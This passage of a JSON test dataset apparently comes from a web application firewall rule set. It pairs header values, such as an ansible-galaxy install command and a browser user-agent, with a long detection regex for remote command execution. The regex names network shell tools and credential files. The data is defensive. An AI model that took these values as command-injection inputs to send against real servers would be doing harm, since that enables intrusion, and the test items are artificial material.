)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\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]))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|ftp|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:c|atch)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932239", "test_description": "Negative test on known user-agent" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "ansible-galaxy collection install community.general" } ], "attack_context": { "method": "POST", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)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|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|io(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:t(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon[23]))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|ftp|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:c|atch)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932239", "test_description": "Block installing collections from ansible galaxy" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "Mozilla/5.0 (Linux; Android 14; PGT-N19 Build/HONORPGT-N49; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/124.0.6367.180 Mobile Safari/537.36" } ], "attack_context": { "method": "POST", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": 